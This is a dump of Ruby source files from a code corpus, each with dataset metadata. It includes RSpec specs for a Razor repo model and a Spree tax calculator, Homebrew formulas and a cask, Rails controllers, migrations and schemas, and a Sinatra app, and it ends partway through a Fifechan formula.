).on(queue)
end
it "should work with uppercase file scheme" do
repo.iso_url = "FILE://#{path}"
expect {
repo.make_the_repo_accessible
}.to have_published(
'class' => repo.class.name,
'instance' => repo.pk_hash,
'message' => 'unpack_repo',
'arguments' => [path]
).on(queue)
end
end
context "with HTTP URLs" do
FileContent = "This is the file content.\n"
LongFileSize = (Razor::Data::Repo::BufferSize * 2.5).ceil
# around hooks don't allow us to use :all, and we only want to do
# setup/teardown of this fixture once; since the server is stateless we
# don't risk much doing so.
before :all do
null = WEBrick::Log.new('/dev/null')
@server = WEBrick::HTTPServer.new(
:Port => 8000,
:Logger => null,
:AccessLog => null,
)
@server.mount_proc '/short.iso' do |req, res|
res.status = 200
res.body = FileContent
end
@server.mount_proc '/long.iso' do |req, res|
res.status = 200
res.body = ' ' * LongFileSize
end
Thread.new { @server.start }
end
after :all do
@server and @server.shutdown
end
let :repo do
Repo.new(:name => 'test', :iso_url => 'http://localhost:8000/')
end
context "download_file_to_tempdir" do
it "should raise (for retry) if the requested URL does not exist" do
expect {
repo.download_file_to_tempdir(URI.parse('http://localhost:8000/no-such-file'))
}.to raise_error OpenURI::HTTPError, /404/
end
it "should copy short content down on success" do
url = URI.parse('http://localhost:8000/short.iso')
file = repo.download_file_to_tempdir(url)
File.read(file).should == FileContent
end
it "should copy long content down on success" do
url = URI.parse('http://localhost:8000/long.iso')
file = repo.download_file_to_tempdir(url)
File.size?(file).should == LongFileSize
end
end
it "should publish 'unpack_repo' if the repo is readable" do
repo.iso_url = 'http://localhost:8000/short.iso'
repo.save # make sure our primary key is set!
expect {
repo.make_the_repo_accessible
}.to have_published(
'class' => repo.class.name,
'instance' => repo.pk_hash,
'message' => 'unpack_repo',
'arguments' => [end_with('/short.iso')]
).on(queue)
end
end
end
context "on destroy" do
it "should remove the temporary directory, if there is one" do
tmpdir = Dir.mktmpdir('razor-repo-download')
repo = Repo.new(:name => 'foo', :iso_url => 'file:///')
repo.tmpdir = tmpdir
repo.save
repo.destroy
File.should_not be_exist tmpdir
end
it "should not fail if there is no temporary directory" do
repo = Repo.new(:name => 'foo', :iso_url => 'file:///')
repo.tmpdir = nil
repo.save
repo.destroy
end
end
context "filesystem_safe_name" do
'/\\?*:|"<>$\''.each_char do |char|
it "should escape #{char.inspect}" do
repo = Repo.new(:name => "foo#{char}bar", :iso_url => 'file:///')
repo.filesystem_safe_name.should_not include char
repo.filesystem_safe_name.should =~ /%0{0,6}#{char.ord.to_s(16)}/i
end
end
end
context "repo_store_root" do
it "should return a Pathname if the path is valid" do
path = '/no/such/repo-store'
Razor.config.stub(:[]).with('repo_store_root').and_return(path)
root = Repo.new(:name => "foo", :iso_url => 'file:///').repo_store_root
root.should be_an_instance_of Pathname
root.should == Pathname(path)
end
end
context "unpack_repo" do
let :tiny_iso do
(Pathname(__FILE__).dirname.parent + 'fixtures' + 'iso' + 'tiny.iso').to_s
end
let :repo do
Repo.new(:name => 'unpack', :iso_url => "file://#{tiny_iso}").save
end
it "should create the repo store root directory if absent" do
Dir.mktmpdir do |tmpdir|
root = Pathname(tmpdir) + 'repo-store'
Razor.config['repo_store_root'] = root.to_s
root.should_not exist
repo.unpack_repo(tiny_iso)
root.should exist
end
end
it "should unpack the repo into the filesystem_safe_name under root" do
pending("libarchive ISO support on OSX", :if => ::FFI::Platform.mac?) do
Dir.mktmpdir do |root|
root = Pathname(root)
Razor.config['repo_store_root'] = root
repo.unpack_repo(tiny_iso)
(root + repo.filesystem_safe_name).should exist
(root + repo.filesystem_safe_name + 'content.txt').should exist
(root + repo.filesystem_safe_name + 'file-with-filename-that-is-longer-than-64-characters-which-some-unpackers-get-wrong.txt').should exist
end
end
end
it "should publish 'release_temporary_repo' when unpacking completes" do
expect {
Dir.mktmpdir do |root|
root = Pathname(root)
Razor.config['repo_store_root'] = root
repo.unpack_repo(tiny_iso)
end
}.to have_published(
'class' => repo.class.name,
'instance' => repo.pk_hash,
'message' => 'release_temporary_repo'
).on(queue)
end
end
context "release_temporary_repo" do
let :repo do
Repo.new(:name => 'unpack', :iso_url => 'file:///dev/empty').save
end
it "should do nothing, successfully, if tmpdir is nil" do
repo.tmpdir.should be_nil
repo.release_temporary_repo
end
it "should remove the temporary directory" do
Dir.mktmpdir do |tmpdir|
root = Pathname(tmpdir) + 'repo-root'
root.mkpath
root.should exist
repo.tmpdir = root
repo.save
repo.release_temporary_repo
root.should_not exist
end
end
it "should raise an exception if removing the temporary directory fails" do
# Testing with a scratch directory means that we can't, eg, discover
# that someone ran the tests as root and was able to delete the
# wrong thing. Much, much better safe than sorry in this case!
Dir.mktmpdir do |tmpdir|
tmpdir = Pathname(tmpdir)
repo.tmpdir = tmpdir + 'no-such-directory'
repo.save
expect {
repo.release_temporary_repo
}.to raise_error Errno::ENOENT, /no-such-directory/
end
end
end
end
| 33.005906 | 149 | 0.578458 |
abe5bf8c25c83ddb41c08fc88119b8f6eae01df9 | 1,260 | cask 'macdown' do
version '0.7.1'
sha256 '4b26fb70b399cd998f226a78f81cd74348da19a8953aca80169fd7d00667496c'
# github.com/MacDownApp/macdown was verified as official when first introduced to the cask
url "https://github.com/MacDownApp/macdown/releases/download/v#{version}/MacDown.app.zip"
appcast 'https://macdown.uranusjr.com/sparkle/macdown/stable/appcast.xml',
checkpoint: '0f66f2a2ec60b25ce7b15cf153db4245badf0c1252196e2bfda8a9d401767789'
name 'MacDown'
homepage 'https://macdown.uranusjr.com/'
auto_updates true
depends_on macos: '>= :mountain_lion'
app 'MacDown.app'
binary "#{appdir}/MacDown.app/Contents/SharedSupport/bin/macdown"
zap delete: [
'~/Library/Application Support/MacDown',
'~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/com.uranusjr.macdown.sfl',
'~/Library/Caches/com.uranusjr.macdown',
'~/Library/Cookies/com.uranusjr.macdown.binarycookies',
'~/Library/Preferences/com.uranusjr.macdown.plist',
'~/Library/Saved Application State/com.uranusjr.macdown.savedState',
'~/Library/WebKit/com.uranusjr.macdown',
]
end
| 45 | 152 | 0.707143 |
395b783fd24132b3accb32e6bee9ccba36fc5d4a | 7,514 | # frozen_string_literal: true
require 'rails_helper'
require 'shared_examples/calculator_shared_examples'
RSpec.describe Spree::Calculator::DefaultTax, type: :model do
let(:address) { create(:address) }
let!(:zone) { create(:zone, name: "Country Zone", countries: [tax_rate_country]) }
let(:tax_rate_country) { address.country }
let(:tax_category) { create(:tax_category) }
let(:starts_at) { nil }
let(:expires_at) { nil }
let!(:rate) do
create(:tax_rate, tax_categories: [tax_category], amount: 0.05,
included_in_price: included_in_price, zone: zone,
starts_at: starts_at, expires_at: expires_at)
end
let(:included_in_price) { false }
subject(:calculator) { Spree::Calculator::DefaultTax.new(calculable: rate ) }
it_behaves_like 'a calculator with a description'
context "#compute" do
context "when given an order" do
let(:order) do
create(
:order_with_line_items,
line_items_attributes: [
{ price: 10, quantity: 3, tax_category: tax_category }.merge(line_item_one_options),
{ price: 10, quantity: 3, tax_category: tax_category }.merge(line_item_two_options)
],
ship_address: address
)
end
let(:line_item_one_options) { {} }
let(:line_item_two_options) { {} }
context "when all items matches the rate's tax category" do
it "should be equal to the sum of the item totals * rate" do
expect(calculator.compute(order)).to eq(3)
end
context "when rate is not in its validity period" do
let(:starts_at) { 1.day.from_now }
let(:expires_at) { 2.days.from_now }
it "should be 0" do
expect(calculator.compute(order)).to eq(0)
end
end
end
context "when no line items match the tax category" do
let(:other_tax_category) { create(:tax_category) }
let(:line_item_one_options) { { tax_category: other_tax_category } }
let(:line_item_two_options) { { tax_category: other_tax_category } }
it "should be 0" do
expect(calculator.compute(order)).to eq(0)
end
end
context "when one item matches the tax category" do
let(:other_tax_category) { create(:tax_category) }
let(:line_item_two_options) { { tax_category: other_tax_category } }
it "should be equal to the item total * rate" do
expect(calculator.compute(order)).to eq(1.5)
end
context "when rate is not in its validity period" do
let(:starts_at) { 1.day.from_now }
let(:expires_at) { 2.days.from_now }
it "should be 0" do
expect(calculator.compute(order)).to eq(0)
end
end
context "correctly rounds to within two decimal places" do
let(:line_item_one_options) { { price: 10.333, quantity: 1 } }
specify do
# Amount is 0.51665, which will be rounded to...
expect(calculator.compute(order)).to eq(0.52)
end
end
end
context "when tax is included in price" do
let(:included_in_price) { true }
it "will return the deducted amount from the totals" do
# total price including 5% tax = $60
# ex pre-tax = $57.14
# 57.14 + %5 = 59.997 (or "close enough" to $60)
# 60 - 57.14 = $2.86
expect(calculator.compute(order).to_f).to eql 2.86
end
context "when rate is not in its validity period" do
let(:starts_at) { 1.day.from_now }
let(:expires_at) { 2.days.from_now }
it "should be 0" do
expect(calculator.compute(order)).to eq(0)
end
end
end
end
end
shared_examples_for 'computing any item' do
let(:adjustment_total) { 0 }
let(:adjustments) do
if adjustment_total.zero?
[]
else
[Spree::Adjustment.new(included: false, source: nil, amount: adjustment_total)]
end
end
let(:order) { build_stubbed(:order, ship_address: address) }
context "when tax is included in price" do
let(:included_in_price) { true }
context "when the variant matches the tax category" do
it "should be equal to the item's full price * rate" do
expect(calculator.compute(item)).to eql 1.43
end
context "when rate is not in its validity period" do
let(:starts_at) { 1.day.from_now }
let(:expires_at) { 2.days.from_now }
it "should be 0" do
expect(calculator.compute(item)).to eq(0)
end
end
context "when line item is adjusted" do
let(:adjustment_total) { -1 }
it "should be equal to the item's adjusted total * rate" do
expect(calculator.compute(item)).to eql 1.38
end
end
end
end
context "when tax is not included in price" do
context "when the item has an adjustment" do
let(:adjustment_total) { -1 }
it "should be equal to the item's pre-tax total * rate" do
expect(calculator.compute(item)).to eq(1.45)
end
context "when rate is not in its validity period" do
let(:starts_at) { 1.day.from_now }
let(:expires_at) { 2.days.from_now }
it "should be 0" do
expect(calculator.compute(item)).to eq(0)
end
end
end
context "when the variant matches the tax category" do
it "should be equal to the item pre-tax total * rate" do
expect(calculator.compute(item)).to eq(1.50)
end
context "when rate is not in its validity period" do
let(:starts_at) { 1.day.from_now }
let(:expires_at) { 2.days.from_now }
it "should be 0" do
expect(calculator.compute(item)).to eq(0)
end
end
end
end
end
describe 'when given a line item' do
let(:item) do
build_stubbed(
:line_item,
price: 10,
quantity: 3,
adjustments: adjustments,
order: order,
tax_category: tax_category
)
end
it_behaves_like 'computing any item'
end
describe 'when given a shipment' do
let(:shipping_method) do
build_stubbed(
:shipping_method,
tax_category: tax_category
)
end
let(:shipping_rate) do
build_stubbed(
:shipping_rate,
selected: true,
shipping_method: shipping_method
)
end
let(:item) do
build_stubbed(
:shipment,
cost: 30,
adjustments: adjustments,
order: order,
shipping_rates: [shipping_rate]
)
end
it_behaves_like 'computing any item'
end
describe 'when given a shipping rate' do
let(:shipping_method) do
build_stubbed(
:shipping_method,
tax_category: tax_category
)
end
let(:shipment) do
build_stubbed(
:shipment,
order: order
)
end
let(:item) do
# cost and adjusted amount for shipping rates are the same as they
# can not be adjusted. for the sake of passing tests, the cost is
# adjusted here.
build_stubbed(
:shipping_rate,
cost: adjustment_total + 30,
selected: true,
shipping_method: shipping_method,
shipment: shipment
)
end
it_behaves_like 'computing any item'
end
end
| 28.789272 | 96 | 0.595555 |
bb6c475b66cd83de1f0708e715536ae15b71a517 | 299 | require 'logger'
require 'sequel'
DB = Sequel.sqlite('db/test.sqlite')
DB.loggers << Logger.new($stdout)
Sequel.default_timezone = :utc
Sequel.datetime_class = DateTime
Sequel::Model.plugin :timestamps, :update_on_create => true
Dir[File.dirname(__FILE__) + '/models/*.rb'].each { |f| require f}
| 24.916667 | 66 | 0.732441 |
6a7d13b610f8a9ca483c2ae8e796f05f66fa4198 | 1,307 | module SpreePayfastPayment
module Generators
class InstallGenerator < Rails::Generators::Base
class_option :auto_run_migrations, :type => :boolean, :default => false
def add_javascripts
append_file 'vendor/assets/javascripts/spree/frontend/all.js', "//= require spree/frontend/spree_payfast_payment\n"
append_file 'vendor/assets/javascripts/spree/backend/all.js', "//= require spree/backend/spree_payfast_payment\n"
end
def add_stylesheets
inject_into_file 'vendor/assets/stylesheets/spree/frontend/all.css', " *= require spree/frontend/spree_payfast_payment\n", :before => /\*\//, :verbose => true
inject_into_file 'vendor/assets/stylesheets/spree/backend/all.css', " *= require spree/backend/spree_payfast_payment\n", :before => /\*\//, :verbose => true
end
def add_migrations
run 'bundle exec rake railties:install:migrations FROM=spree_payfast_payment'
end
def run_migrations
run_migrations = options[:auto_run_migrations] || ['', 'y', 'Y'].include?(ask 'Would you like to run the migrations now? [Y/n]')
if run_migrations
run 'bundle exec rake db:migrate'
else
puts 'Skipping rake db:migrate, don\'t forget to run it!'
end
end
end
end
end
| 40.84375 | 166 | 0.680184 |
f802986b96931cfff1ee8d74b9d945cf013bea96 | 2,027 | class Zbackup < Formula
desc "Globally-deduplicating backup tool (based on ideas in rsync)"
homepage "http://zbackup.org"
url "https://github.com/zbackup/zbackup/archive/1.4.4.tar.gz"
sha256 "efccccd2a045da91576c591968374379da1dc4ca2e3dec4d3f8f12628fa29a85"
revision 8
bottle do
cellar :any
# sha256 "07ca77fddf0e9a79bb5923ace0c64a8ea0ea95ef6bb04e744f7b3f82ba0cd79f" => :mojave
sha256 "21d8cad2823234c8c3670e5fb565db3024ca7cc4632786b14f3f4ae2b7ec3f37" => :high_sierra
sha256 "0b89a926af81bb4d7270f8724f7a4e9ec0dd763669603dd480d12f5690c86d96" => :sierra
sha256 "34bbe1ac111fd38719ea48a27bcb84d5563b5b4ca2579e4b15a9ad6ae224fdcd" => :el_capitan
end
depends_on "cmake" => :build
depends_on "lzo"
depends_on "openssl"
depends_on "protobuf"
depends_on "xz" # get liblzma compression algorithm library from XZutils
# These fixes are upstream and can be removed in version 1.5+
patch do
url "https://github.com/zbackup/zbackup/commit/7e6adda6b1df9c7b955fc06be28fe6ed7d8125a2.diff?full_index=1"
sha256 "b33b3693fff6fa89b40a02c8c14f73e2e270e2c5e5f0e27ccb038b0d2fb304d4"
end
patch do
url "https://github.com/zbackup/zbackup/commit/f4ff7bd8ec63b924a49acbf3a4f9cf194148ce18.diff?full_index=1"
sha256 "060491c216a145d34a8fd3385b138630718579404e1a2ec2adea284a52699672"
end
def install
ENV.cxx11
# Avoid collision with protobuf 3.x CHECK macro
inreplace [
"backup_creator.cc",
"check.hh",
"chunk_id.cc",
"chunk_storage.cc",
"compression.cc",
"encrypted_file.cc",
"encryption.cc",
"encryption_key.cc",
"mt.cc",
"tests/bundle/test_bundle.cc",
"tests/encrypted_file/test_encrypted_file.cc",
"unbuffered_file.cc",
],
/\bCHECK\b/, "ZBCHECK"
system "cmake", ".", *std_cmake_args
system "make", "install"
end
test do
system "#{bin}/zbackup", "--non-encrypted", "init", "."
system "echo test | #{bin}/zbackup --non-encrypted backup backups/test.bak"
end
end
| 32.693548 | 110 | 0.733103 |
e92d8c5bed48d19c65f7af18539d33b2b4461241 | 1,955 | module Shipit
class DeploysController < ShipitController
include ChunksHelper
before_action :load_stack
before_action :load_deploy, only: %i(show rollback revert)
before_action :load_until_commit, only: :create
helper_method :short_commit_sha
def new
@commit = @stack.commits.by_sha!(params[:sha])
@commit.checks.schedule if @stack.checks?
@deploy = @stack.build_deploy(@commit, current_user)
end
def show
respond_to do |format|
format.html
format.text { render plain: @deploy.chunk_output }
end
end
def create
@deploy = @stack.trigger_deploy(
@until_commit,
current_user,
env: deploy_params[:env],
force: params[:force].present?,
)
respond_with(@deploy.stack, @deploy)
rescue Task::ConcurrentTaskRunning
redirect_to new_stack_deploy_path(@stack, sha: @until_commit.sha)
end
def rollback
@rollback = @deploy.build_rollback
end
def revert
previous_deploy = @stack.deploys.success.where(until_commit_id: @deploy.since_commit_id).order(id: :desc).first!
redirect_to rollback_stack_deploy_path(@stack, previous_deploy)
end
def short_commit_sha(task)
if previous_successful_deploy_commit(task)
@short_commit_sha ||= @previous_successful_deploy_commit&.short_sha
end
end
private
def load_deploy
@deploy = @stack.deploys.find(params[:id])
end
def load_stack
@stack ||= Stack.from_param!(params[:stack_id])
end
def load_until_commit
@until_commit = @stack.commits.find(deploy_params[:until_commit_id])
end
def deploy_params
@deploy_params ||= params.require(:deploy).permit(:until_commit_id, env: @stack.deploy_variables.map(&:name))
end
def previous_successful_deploy_commit(task)
@previous_successful_deploy_commit ||= task.commit_to_rollback_to
end
end
end
| 26.780822 | 118 | 0.686957 |
f7bb2059d0e41df37938a020a1c6ebea9eede0b6 | 714 | require 'active_support/core_ext/string'
require 'core_extensions/hash'
require 'sidekiq/cli'
require 'simplekiq/version'
require 'simplekiq/config'
require 'simplekiq/datadog'
require 'simplekiq/job_retry'
require 'simplekiq/metadata_server'
require 'simplekiq/metadata_client'
require 'simplekiq/processor'
require 'simplekiq/queue_getter'
require 'simplekiq/redis_connection'
require 'simplekiq/worker'
module Simplekiq
class Error < StandardError; end
# Your code goes here...
class << self
def config
Datadog.config
Config.config
end
def app_name
if defined?(::Rails)
::Rails.application.class.parent_name.underscore
end
end
end
end
Simplekiq.config
| 21.636364 | 56 | 0.752101 |
d5b762df75b7dbe2601b38f199e0bd726350685e | 239 | module Apress
module Api
module Callbacks
class RepeatCallbackError < StandardError
def initialize(message, backtrace)
super(message)
set_backtrace(backtrace)
end
end
end
end
end
| 18.384615 | 47 | 0.631799 |
1aa4c2e84e2d0796db071a237a0095178b62991e | 2,911 | require "ide_prefs_test_support/contracts/basic_prefs_repo_contract"
def assert_works_like_user_prefs_repo(pref_factory: nil, user_prefs_repo_factory: nil)
describe "User Prefs Repo" do
assert_works_like_basic_prefs_repo(pref_factory: pref_factory, prefs_repo_factory: user_prefs_repo_factory)
describe "Querying the repo for matching prefs that are not 'installed'" do
context "Given one preference that's in the repo as a regular user preference" do
before do
@regular_pref = pref_factory.generate_pref
user_prefs_repo.copy(@regular_pref)
end
context "And another preference in the repo that's been 'installed'" do
before do
@installed_pref = pref_factory.generate_pref
user_prefs_repo.install_prefs([@installed_pref])
end
context "When I query the repo for matching uninstalled prefs with both the regular pref and the installed pref" do
let(:matching_prefs) do
user_prefs_repo.find_matching_uninstalled_prefs([@regular_pref, @installed_pref])
end
specify "Then it should return the regular pref" do
expect(matching_prefs).to include @regular_pref
end
specify "But it should not return the installed pref" do
expect(matching_prefs).not_to include @installed_pref
end
end
end
end
end
describe "Installing Preferences into the Repo" do
context "Given a pref not already in the repo" do
let(:pref) { pref_factory.generate_pref }
context "When I tell the user prefs repo to install it" do
before do
user_prefs_repo.install_prefs([pref])
end
specify "Then it should add it to the repo" do
expect(user_prefs_repo.all).to include pref
end
specify "And it should return it when queried for all installed_prefs" do
expect(user_prefs_repo.installed_prefs).to include pref
end
specify "And it should not return it when queried for all uninstalled prefs" do
expect(user_prefs_repo.uninstalled_prefs).not_to include pref
end
end
end
context "Given a pref ALREADY in the repo" do
let(:pref) { pref_factory.generate_pref }
before do
user_prefs_repo.install_prefs([pref])
end
context "When I try to install it for the second time" do
before do
user_prefs_repo.install_prefs([pref])
end
specify "Then it should ignore it since it's a duplicate" do
num_times_installed = user_prefs_repo.all.select { |p| p == pref }.count
expect(num_times_installed).to eq 1
end
end
end
end
let(:user_prefs_repo) { user_prefs_repo_factory.call }
end
end
| 34.654762 | 125 | 0.652697 |
bbc038c6f0043554a9e195f9de7ed023ef421dc9 | 57 | FactoryGirl.define do
factory :miq_priority_worker
end
| 14.25 | 30 | 0.842105 |
edf01ff73f3414de3b44203217f5c2ece56611b4 | 5,315 | # Copyright (c) 2016, 2019, Oracle and/or its affiliates. All rights reserved.
require 'date'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# Log entries related to a specific work request.
class Integration::Models::WorkRequestLogEntry
# **[Required]** The description of an action that occurred.
# @return [String]
attr_accessor :message
# **[Required]** The date and time the log entry occurred.
# @return [DateTime]
attr_accessor :timestamp
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'message': :'message',
'timestamp': :'timestamp'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'message': :'String',
'timestamp': :'DateTime'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [String] :message The value to assign to the {#message} property
# @option attributes [DateTime] :timestamp The value to assign to the {#timestamp} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.message = attributes[:'message'] if attributes[:'message']
self.timestamp = attributes[:'timestamp'] if attributes[:'timestamp']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
message == other.message &&
timestamp == other.timestamp
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[message, timestamp].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 33.21875 | 115 | 0.662277 |
7a3477a8ef890cda60bbdf67f71400e0e0c78811 | 1,603 | class FileUploader < CarrierWave::Uploader::Base
# Include RMagick or MiniMagick support:
# include CarrierWave::RMagick
# include CarrierWave::MiniMagick
# Choose what kind of storage to use for this uploader:
storage :aws
# storage :fog
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
def download_url(filename)
url(response_content_disposition: %Q{attachment; filename="#{filename}"})
end
# Provide a default URL as a default if there hasn't been a file uploaded:
# def default_url(*args)
# # For Rails 3.1+ asset pipeline compatibility:
# # ActionController::Base.helpers.asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
#
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
# end
# Process files as they are uploaded:
# process scale: [200, 300]
#
# def scale(width, height)
# # do something
# end
# Create different versions of your uploaded files:
# version :thumb do
# process resize_to_fit: [50, 50]
# end
# Add a white list of extensions which are allowed to be uploaded.
# For images you might use something like this:
# def extension_whitelist
# %w(jpg jpeg gif png)
# end
# Override the filename of the uploaded files:
# Avoid using model.id or version_name here, see uploader/store.rb for details.
# def filename
# "something.jpg" if original_filename
# end
end
| 29.685185 | 112 | 0.700561 |
bb4e5a6712a099e84e4c522fb9ee3e7f195d32cf | 343 | #encoding: utf-8
require 'rubygems'
require 'sinatra'
require 'sinatra/reloader'
require "sinatra/activerecord"
set :database, "sqlite3:pizzashop.db"
class Product < ActiveRecord::Base # создание сущности
end
get '/' do
@products = Product.all
erb :index
end
get '/about' do
erb :about
end
post '/cart' do
erb 'Hello'
end | 13.72 | 54 | 0.702624 |
f8e27187e163ba534342f780449f088c1d363ba0 | 404 | module Support
class PercentageTileComponent < ViewComponent::Base
attr_reader :percentage, :label, :colour
def initialize(percentage:, label:, colour: :default, size: :regular)
@percentage = percentage
@label = label
@colour = colour
@size = size
end
def count_class
@size == :regular ? 'app-card__count' : 'app-card__secondary-count'
end
end
end
| 23.764706 | 73 | 0.658416 |
621861487b986fdba9ad443cdf246ea95bc8e5fe | 2,515 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2019_07_16_132517) do
create_table "categories", force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "comments", force: :cascade do |t|
t.integer "user_id"
t.integer "recipe_id"
t.string "content"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "ingredients", force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "ratings", force: :cascade do |t|
t.integer "user_id"
t.integer "recipe_id"
t.integer "score"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "recipe_categories", force: :cascade do |t|
t.integer "recipe_id"
t.integer "category_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "recipe_ingredients", force: :cascade do |t|
t.integer "recipe_id"
t.integer "ingredient_id"
t.integer "quantity"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "recipes", force: :cascade do |t|
t.string "name"
t.integer "cooking_time"
t.integer "servings"
t.string "directions"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "users", force: :cascade do |t|
t.string "name"
t.string "email"
t.string "password_digest"
t.boolean "admin", default: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "uid"
t.string "provider"
end
end
| 31.4375 | 86 | 0.705368 |
d5cb02f1994e26a99c9efee602658612cabdce64 | 2,100 | # frozen_string_literal: true
ActiveRecord::Schema.define(version: 20_191_005_094_551) do
create_table "admins", force: :cascade do |t|
t.integer "user_id"
t.integer "user_type_id"
t.string "user_name"
t.string "password"
t.datetime "last_login_date"
t.string "title"
end
add_index "admins", ["confirmed"], name: "index_profiles_on_confirmed", using: :btree
add_index "admins", ["user_id"], name: "index_profiles_on_user_id", using: :btree
add_index "admins", ["title"], name: "index_profiles_on_title", using: :btree
create_table "users", force: :cascade do |t|
t.string "provider", null: false
t.string "uid", default: "", null: false
t.string "encrypted_password", default: "", null: false
t.string "reset_password_token"
t.datetime "reset_password_sent_at"
t.datetime "remember_created_at"
t.integer "sign_in_count", default: 0, null: false
t.datetime "current_sign_in_at"
t.datetime "last_sign_in_at"
t.string "current_sign_in_ip"
t.string "last_sign_in_ip"
t.string "confirmation_token"
t.datetime "confirmed_at"
t.datetime "confirmation_sent_at"
t.string "unconfirmed_email"
t.string "username", null: false
t.string "email", null: false
t.text "tokens"
t.datetime "created_at"
t.datetime "updated_at"
t.boolean "banned", default: false, null: false
t.datetime "last_unblock_date"
end
add_index "users", ["banned"], name: "index_users_on_banned", using: :btree
add_index "users", ["confirmation_token"], name: "index_users_on_confirmation_token", unique: true, using: :btree
add_index "users", ["reset_password_token"], name: "index_users_on_reset_password_token", unique: true, using: :btree
add_index "users", %w[uid provider], name: "index_users_on_uid_and_provider", unique: true, using: :btree
add_index "users", ["username"], name: "index_users_on_username", unique: true, using: :btree
end
| 43.75 | 119 | 0.661429 |
3321546aa2ffe5b791b5b55f4f08ff9adbacaa12 | 1,255 | class Fifechan < Formula
desc "C++ GUI library designed for games"
homepage "https://fifengine.github.io/fifechan/"
url "https://github.com/fifengine/fifechan/archive/0.1.3.tar.gz"
sha256 "0b3dc9821a6f2acfc65299235e39b7fa5dc4c36bd9c50153d0debd8c27497e1e"
bottle do
cellar :any
sha256 "5d9d9cca51acebbab4e5fa4273d1c0825590ed38c725ebdf9edeb174229a07b1" => :sierra
sha256 "799e8fa5def1592ff559ed13913b0aff53b0df8fba9c8b2e46ed4af0800bbf20" => :el_capitan
sha256 "8eeeaad4b2d4d95573417b2a2a42dc2199d1148033011fab4a7854b0bf11542f" => :yosemite
end
depends_on "cmake" => :build
depends_on "allegro" => :recommended
depends_on "sdl" => :recommended
depends_on "sdl_image" => :recommended
def install
mkdir "build" do
system "cmake", "..", *std_cmake_args
system "make", "install"
end
end
test do
(testpath/"fifechan_test.cpp").write <<-EOS
